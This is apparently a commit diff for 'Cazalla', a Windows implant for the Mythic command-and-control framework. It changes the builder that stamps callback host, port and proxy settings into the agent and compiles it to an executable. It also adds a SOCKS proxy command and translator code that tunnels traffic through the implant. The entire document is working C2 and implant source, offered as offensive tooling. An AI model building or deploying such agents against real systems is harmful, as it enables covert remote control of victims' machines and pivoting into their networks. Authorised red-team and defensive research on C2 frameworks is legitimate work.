int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
|
||||
/* Allocates *out via LocalAlloc; caller must LocalFree(*out). Returns 1 on success, 0 on fail. */
|
||||
|
||||
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
|
||||
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
|
||||
|
||||
#endif
|
||||
|
||||
@@ -40,7 +40,6 @@ class CazallaAgent(PayloadType):
|
||||
]
|
||||
|
||||
async def build(self) -> BuildResponse:
|
||||
# this function gets called to create an instance of your payload
|
||||
resp = BuildResponse(status=BuildStatus.Success)
|
||||
Config = {
|
||||
"payload_uuid": self.uuid,
|
||||
@@ -56,12 +55,11 @@ class CazallaAgent(PayloadType):
|
||||
"proxy_user": "",
|
||||
"proxy_pass": "",
|
||||
}
|
||||
stdout_err = ""
|
||||
|
||||
for c2 in self.c2info:
|
||||
profile = c2.get_c2profile()
|
||||
for key, val in c2.get_parameters_dict().items():
|
||||
if isinstance(val, dict) and 'enc_key' in val:
|
||||
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||
else:
|
||||
Config[key] = val
|
||||
@@ -69,19 +67,21 @@ class CazallaAgent(PayloadType):
|
||||
|
||||
if "https://" in Config["callback_host"]:
|
||||
Config["ssl"] = True
|
||||
|
||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||
if Config["proxy_host"] != "":
|
||||
Config["proxyEnabled"] = True
|
||||
# create the payload
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Gathering Files",
|
||||
StepStdout="Found all files for payload",
|
||||
StepSuccess=True
|
||||
))
|
||||
|
||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
||||
|
||||
# copia el proyecto completo (no solo agent_code)
|
||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
@@ -89,43 +89,46 @@ class CazallaAgent(PayloadType):
|
||||
StepStdout="All configuration setting applied",
|
||||
StepSuccess=True
|
||||
))
|
||||
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
||||
|
||||
# 🔧 FIX: rutas corregidas para la estructura agent_code/cazalla/
|
||||
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
||||
with open(config_path, "r+") as f:
|
||||
content = f.read()
|
||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||
if Config["ssl"]:
|
||||
content = content.replace("%SSL%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%SSL%", "FALSE")
|
||||
content = content.replace("%SSL%", "TRUE" if Config["ssl"] else "FALSE")
|
||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||
if Config["proxyEnabled"]:
|
||||
content = content.replace("%PROXYENABLED%", "TRUE")
|
||||
else:
|
||||
content = content.replace("%PROXYENABLED%", "FALSE")
|
||||
content = content.replace("%PROXYENABLED%", "TRUE" if Config["proxyEnabled"] else "FALSE")
|
||||
f.seek(0)
|
||||
f.write(content)
|
||||
f.truncate()
|
||||
|
||||
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
||||
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
||||
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
||||
stderr=asyncio.subprocess.PIPE)
|
||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla exe"
|
||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/cazalla.exe"
|
||||
|
||||
# proc = await asyncio.create_subprocess_shell(
|
||||
# command,
|
||||
# stdout=asyncio.subprocess.PIPE,
|
||||
# stderr=asyncio.subprocess.PIPE
|
||||
# )
|
||||
|
||||
# stdout, stderr = await proc.communicate()
|
||||
# print(stdout.decode(), stderr.decode())
|
||||
|
||||
proc = await asyncio.create_subprocess_shell(command)
|
||||
await proc.wait()
|
||||
|
||||
stdout, stderr = await proc.communicate()
|
||||
print(stdout)
|
||||
print(stderr)
|
||||
|
||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||
PayloadUUID=self.uuid,
|
||||
StepName="Compiling",
|
||||
StepStdout="Successfuly compiled Ra",
|
||||
StepStdout="Successfully compiled cazalla",
|
||||
StepSuccess=True
|
||||
))
|
||||
build_msg = ""
|
||||
resp.payload = open(filename, "rb").read()
|
||||
|
||||
resp.payload = open(filename, "rb").read()
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import (
|
||||
SendMythicRPCProxyStartCommand,
|
||||
MythicRPCProxyStartMessage,
|
||||
SendMythicRPCProxyStopCommand,
|
||||
MythicRPCProxyStopMessage,
|
||||
CALLBACK_PORT_TYPE_SOCKS
|
||||
)
|
||||
import json
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class SocksArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="action",
|
||||
type=ParameterType.ChooseOne,
|
||||
description="Acción a realizar (start/stop)",
|
||||
choices=["start", "stop"],
|
||||
default_value="start",
|
||||
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="port",
|
||||
type=ParameterType.Number,
|
||||
description="Puerto local a exponer (solo para start)",
|
||||
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Debe especificar 'start' o 'stop'.")
|
||||
parts = self.command_line.strip().split()
|
||||
action = parts[0].lower()
|
||||
|
||||
if action not in ["start", "stop"]:
|
||||
raise ValueError("Acción debe ser 'start' o 'stop'.")
|
||||
|
||||
# Parsear puerto (opcional para ambos)
|
||||
# Si no se especifica, usar 7002 como default (puerto común para SOCKS en Mythic)
|
||||
port = int(parts[1]) if len(parts) > 1 else 7002
|
||||
self.add_arg("port", port)
|
||||
self.add_arg("action", action)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
action = dictionary_arguments.get("action", "start")
|
||||
# Si no hay puerto, usar 7002 como default
|
||||
if "port" not in dictionary_arguments:
|
||||
dictionary_arguments["port"] = 7002
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class SocksCommand(CommandBase):
|
||||
cmd = "socks"
|
||||
needs_admin = False
|
||||
help_cmd = "socks start [port] / socks stop [port]"
|
||||
description = "Inicia o detiene el proxy SOCKS en el servidor Mythic. Puerto por defecto: 7002"
|
||||
version = 1
|
||||
author = "OFSTeam"
|
||||
argument_class = SocksArguments
|
||||
attackmapping = []
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows],
|
||||
builtin=True,
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
action = task.args.get_arg("action")
|
||||
port = task.args.get_arg("port")
|
||||
task.display_params = f"{action.upper()} (puerto {port})" if action == "start" else "STOP"
|
||||
return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||
|
||||
action = taskData.args.get_arg("action")
|
||||
port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 7002
|
||||
|
||||
try:
|
||||
if action == "start":
|
||||
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
LocalPort=port,
|
||||
PortType=CALLBACK_PORT_TYPE_SOCKS
|
||||
))
|
||||
logging.info(f"SOCKS proxy started on port {port}: {resp}")
|
||||
if not resp.Success:
|
||||
response.Success = False
|
||||
response.Error = resp.Error
|
||||
elif action == "stop":
|
||||
# MythicRPCProxyStopMessage también requiere Port y PortType
|
||||
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Port=port,
|
||||
PortType=CALLBACK_PORT_TYPE_SOCKS
|
||||
))
|
||||
logging.info(f"SOCKS proxy stopped: {resp}")
|
||||
if not resp.Success:
|
||||
response.Success = False
|
||||
response.Error = resp.Error
|
||||
except Exception as e:
|
||||
logging.error(f"Error en SOCKS RPC: {e}")
|
||||
response.Success = False
|
||||
response.Error = str(e)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -13,7 +13,11 @@ commands = {
|
||||
"pwd": {"hex_code": 0x22, "input_type": None},
|
||||
"cp": {"hex_code": 0x23, "input_type": "string"},
|
||||
"mkdir": {"hex_code": 0x24, "input_type": "string"},
|
||||
"rm": {"hex_code": 0x25, "input_type": "string"}
|
||||
"rm": {"hex_code": 0x25, "input_type": "string"},
|
||||
# Added SOCKS control commands
|
||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
|
||||
}
|
||||
|
||||
def responseTasking(tasks):
|
||||
@@ -62,11 +66,30 @@ def responseTasking(tasks):
|
||||
parameters = json.loads(task["parameters"])
|
||||
data += len(parameters).to_bytes(4, "big")
|
||||
for param in parameters:
|
||||
# Expecting integer values in parameters dict
|
||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||
else:
|
||||
data += b"\x00\x00\x00\x00"
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "socks_special":
|
||||
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
|
||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||
action = parameters.get("action", "start")
|
||||
port = parameters.get("port", 1080)
|
||||
|
||||
if action == "start":
|
||||
# START_SOCKS_CMD (0x60) + task_id + puerto
|
||||
data = bytes([0x60]) + task_id
|
||||
data += port.to_bytes(4, "big")
|
||||
print(f"[DEBUG] SOCKS START: port={port}")
|
||||
else:
|
||||
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
|
||||
data = bytes([0x61]) + task_id
|
||||
print(f"[DEBUG] SOCKS STOP")
|
||||
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
print("estamos en el dataToSend\n")
|
||||
print(dataToSend.hex())
|
||||
|
||||
@@ -2,8 +2,8 @@ from translator.utils import *
|
||||
import ipaddress
|
||||
import json
|
||||
|
||||
def checkIn(data):
|
||||
|
||||
def checkIn(data):
|
||||
# Retrieve UUID
|
||||
uuid = data[:36]
|
||||
data = data[36:]
|
||||
@@ -23,7 +23,7 @@ def checkIn(data):
|
||||
# Retrieve OS
|
||||
targetOS, data = getBytesWithSize(data)
|
||||
|
||||
# Retrive Architecture
|
||||
# Retrieve Architecture
|
||||
archOS = data[0]
|
||||
if archOS == 0x64:
|
||||
archOS = "x64"
|
||||
@@ -76,7 +76,7 @@ def getTasking(data):
|
||||
|
||||
|
||||
def postResponse(data):
|
||||
print("Tamaño del Base64 recibido: {len(data)} bytes")
|
||||
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
||||
|
||||
resTaks = []
|
||||
uuidTask = data[:36]
|
||||
@@ -84,29 +84,44 @@ def postResponse(data):
|
||||
|
||||
output, data = getBytesWithSize(data)
|
||||
|
||||
print("Tamaño después de extraer UUID: {len(data)} bytes")
|
||||
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
||||
|
||||
try:
|
||||
decoded_output = output.decode('cp850')
|
||||
except Exception as e:
|
||||
print("Fallo al decodificar la salida: {e}")
|
||||
print(f"Fallo al decodificar la salida: {e}")
|
||||
decoded_output = "[ERROR DECODIFICANDO]"
|
||||
|
||||
jsonTask = {
|
||||
"task_id": uuidTask.decode('cp850'),
|
||||
"user_output": decoded_output,
|
||||
"completed": True,
|
||||
}
|
||||
|
||||
jsonTask["completed"] = True
|
||||
resTaks.append(jsonTask)
|
||||
|
||||
dataJson = {
|
||||
"action": "post_response",
|
||||
"responses": resTaks
|
||||
}
|
||||
dataJson = {"action": "post_response", "responses": resTaks}
|
||||
|
||||
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||
print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||
|
||||
return dataJson
|
||||
|
||||
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
|
||||
|
||||
# ==========================================================
|
||||
# NUEVAS FUNCIONES PARA SOPORTE SOCKS
|
||||
# ==========================================================
|
||||
|
||||
def startSocks(data):
|
||||
"""Parses incoming data for start_socks tasks."""
|
||||
if len(data) >= 4:
|
||||
port = int.from_bytes(data[:4], "big")
|
||||
else:
|
||||
port = 1080
|
||||
print(f"[DEBUG] startSocks(): puerto recibido -> {port}")
|
||||
return {"action": "start_socks", "port": port}
|
||||
|
||||
|
||||
def stopSocks(data):
|
||||
"""Parses incoming data for stop_socks tasks."""
|
||||
print("[DEBUG] stopSocks() recibido")
|
||||
return {"action": "stop_socks"}
|
||||
|
||||
@@ -11,7 +11,7 @@ from mythic_container.TranslationBase import *
|
||||
|
||||
class cazalla_translator(TranslationContainer):
|
||||
name = "cazalla_translator"
|
||||
description = "python translation service for the Kaseya C agent Cazalla"
|
||||
description = "Python translation service for the C agent Cazalla"
|
||||
author = "OFSTeam"
|
||||
|
||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||
@@ -23,30 +23,171 @@ class cazalla_translator(TranslationContainer):
|
||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||
|
||||
if inputMsg.Message["action"] == "checkin":
|
||||
print("Response CHECKIN")
|
||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||
|
||||
elif inputMsg.Message["action"] == "get_tasking":
|
||||
print("Response TASKING")
|
||||
response.Message = responseTasking(inputMsg.Message["tasks"])
|
||||
response.Message = responseTasking(inputMsg.Message["tasks"]) # base tasks
|
||||
print(f"[TRANSLATOR] Base tasking message: {len(response.Message)} bytes")
|
||||
# Append SOCKS array if present from Mythic
|
||||
socks_list = inputMsg.Message.get("socks", [])
|
||||
print(f"[TRANSLATOR] SOCKS list: {len(socks_list)} items")
|
||||
if socks_list:
|
||||
# Encode an extension block for C agent: 0xF5 | [len] | [records]
|
||||
# Each record: [Int32 server_id][Byte exit][Int32 b64len][b64]
|
||||
extension = bytearray()
|
||||
for s in socks_list:
|
||||
sid = int(s.get("server_id", 0))
|
||||
exitb = 1 if s.get("exit", False) else 0
|
||||
data_str = s.get("data") or ""
|
||||
b64 = data_str.encode() if data_str else b""
|
||||
data_preview = data_str[:50] if data_str else "(null)"
|
||||
print(f"[TRANSLATOR] SOCKS: sid={sid} exit={exitb} b64_len={len(b64)} data={data_preview}")
|
||||
extension += sid.to_bytes(4, "big")
|
||||
extension += bytes([exitb])
|
||||
extension += len(b64).to_bytes(4, "big")
|
||||
extension += b64
|
||||
socks_block = bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||
print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
|
||||
response.Message += socks_block
|
||||
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
||||
|
||||
elif inputMsg.Message["action"] == "post_response":
|
||||
print("Response POSTREP")
|
||||
response.Message = responsePosting(inputMsg.Message["responses"])
|
||||
response.Message = responsePosting(inputMsg.Message["responses"]) # base responses
|
||||
socks_list = inputMsg.Message.get("socks", [])
|
||||
if socks_list:
|
||||
extension = bytearray()
|
||||
for s in socks_list:
|
||||
sid = int(s.get("server_id", 0))
|
||||
exitb = 1 if s.get("exit", False) else 0
|
||||
data_str = s.get("data") or ""
|
||||
b64 = data_str.encode() if data_str else b""
|
||||
extension += sid.to_bytes(4, "big")
|
||||
extension += bytes([exitb])
|
||||
extension += len(b64).to_bytes(4, "big")
|
||||
extension += b64
|
||||
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||
|
||||
# ============================
|
||||
# NUEVOS COMANDOS SOCKS
|
||||
# ============================
|
||||
elif inputMsg.Message["action"] == "start_socks":
|
||||
print("Response START_SOCKS")
|
||||
# Construye un paquete de tipo "start_socks" con el puerto
|
||||
tasks = [{
|
||||
"command": "start_socks",
|
||||
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||
"parameters": json.dumps({"port": int(inputMsg.Message.get("port", 1080))})
|
||||
}]
|
||||
response.Message = responseTasking(tasks)
|
||||
|
||||
elif inputMsg.Message["action"] == "stop_socks":
|
||||
print("Response STOP_SOCKS")
|
||||
tasks = [{
|
||||
"command": "stop_socks",
|
||||
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||
"parameters": ""
|
||||
}]
|
||||
response.Message = responseTasking(tasks)
|
||||
|
||||
return response
|
||||
|
||||
|
||||
def extract_socks_block(self, data):
|
||||
"""Extrae el bloque SOCKS (0xF5) del mensaje del implante y lo parsea."""
|
||||
socks_array = []
|
||||
clean_data = data
|
||||
|
||||
# Buscar el marcador 0xF5
|
||||
cursor = 0
|
||||
while cursor + 5 <= len(data):
|
||||
if data[cursor] == 0xF5:
|
||||
print(f"[TRANSLATOR] ¡Bloque SOCKS 0xF5 encontrado en offset {cursor}!")
|
||||
# Leer longitud del bloque
|
||||
ext_len = int.from_bytes(data[cursor+1:cursor+5], "big")
|
||||
print(f"[TRANSLATOR] Longitud del bloque SOCKS: {ext_len} bytes")
|
||||
|
||||
if cursor + 5 + ext_len > len(data):
|
||||
print(f"[TRANSLATOR] ERROR: bloque SOCKS truncado")
|
||||
break
|
||||
|
||||
# Parsear cada registro SOCKS dentro del bloque
|
||||
ecur = cursor + 5
|
||||
eend = cursor + 5 + ext_len
|
||||
while ecur + 9 <= eend:
|
||||
sid = int.from_bytes(data[ecur:ecur+4], "big")
|
||||
exitf = data[ecur+4]
|
||||
b64len = int.from_bytes(data[ecur+5:ecur+9], "big")
|
||||
ecur += 9
|
||||
|
||||
if ecur + b64len > eend:
|
||||
print(f"[TRANSLATOR] ERROR: registro SOCKS truncado")
|
||||
break
|
||||
|
||||
# Extraer datos base64
|
||||
b64_data = None
|
||||
if b64len > 0:
|
||||
b64_data = data[ecur:ecur+b64len].decode('ascii')
|
||||
|
||||
socks_record = {
|
||||
"server_id": sid,
|
||||
"exit": bool(exitf),
|
||||
"data": b64_data
|
||||
}
|
||||
socks_array.append(socks_record)
|
||||
print(f"[TRANSLATOR] SOCKS record: sid={sid} exit={exitf} b64_len={b64len}")
|
||||
|
||||
ecur += b64len
|
||||
|
||||
# Remover el bloque SOCKS del mensaje
|
||||
clean_data = data[:cursor]
|
||||
print(f"[TRANSLATOR] Bloque SOCKS extraído, {len(socks_array)} registros encontrados")
|
||||
break
|
||||
cursor += 1
|
||||
|
||||
return clean_data, socks_array
|
||||
|
||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||
#response.Message = json.loads(inputMsg.Message)
|
||||
data = inputMsg.Message
|
||||
|
||||
# Extraer bloque SOCKS si existe (después del primer byte de comando)
|
||||
clean_data, socks_array = self.extract_socks_block(data[1:])
|
||||
|
||||
if data[0] == commands["checkin"]["hex_code"]:
|
||||
print("CHECK IN")
|
||||
response.Message = checkIn(data[1:])
|
||||
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
||||
response.Message = checkIn(clean_data)
|
||||
|
||||
elif data[0] == commands["get_tasking"]["hex_code"]:
|
||||
print("GET TASKING")
|
||||
response.Message = getTasking(data[1:])
|
||||
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
||||
response.Message = getTasking(clean_data)
|
||||
# Agregar array SOCKS si existe
|
||||
if socks_array:
|
||||
response.Message["socks"] = socks_array
|
||||
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
|
||||
|
||||
elif data[0] == commands["post_response"]["hex_code"]:
|
||||
print("POST RESPONSE")
|
||||
response.Message = postResponse(data[1:])
|
||||
response.Message = postResponse(clean_data)
|
||||
# Agregar array SOCKS si existe
|
||||
if socks_array:
|
||||
response.Message["socks"] = socks_array
|
||||
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
|
||||
|
||||
# ============================
|
||||
# NUEVOS COMANDOS SOCKS
|
||||
# ============================
|
||||
elif data[0] == commands["start_socks"]["hex_code"]:
|
||||
print("START SOCKS")
|
||||
response.Message = startSocks(clean_data)
|
||||
|
||||
elif data[0] == commands["stop_socks"]["hex_code"]:
|
||||
print("STOP SOCKS")
|
||||
response.Message = stopSocks(clean_data)
|
||||
|
||||
return response
|
||||
|
||||
Reference in New Issue
Block a user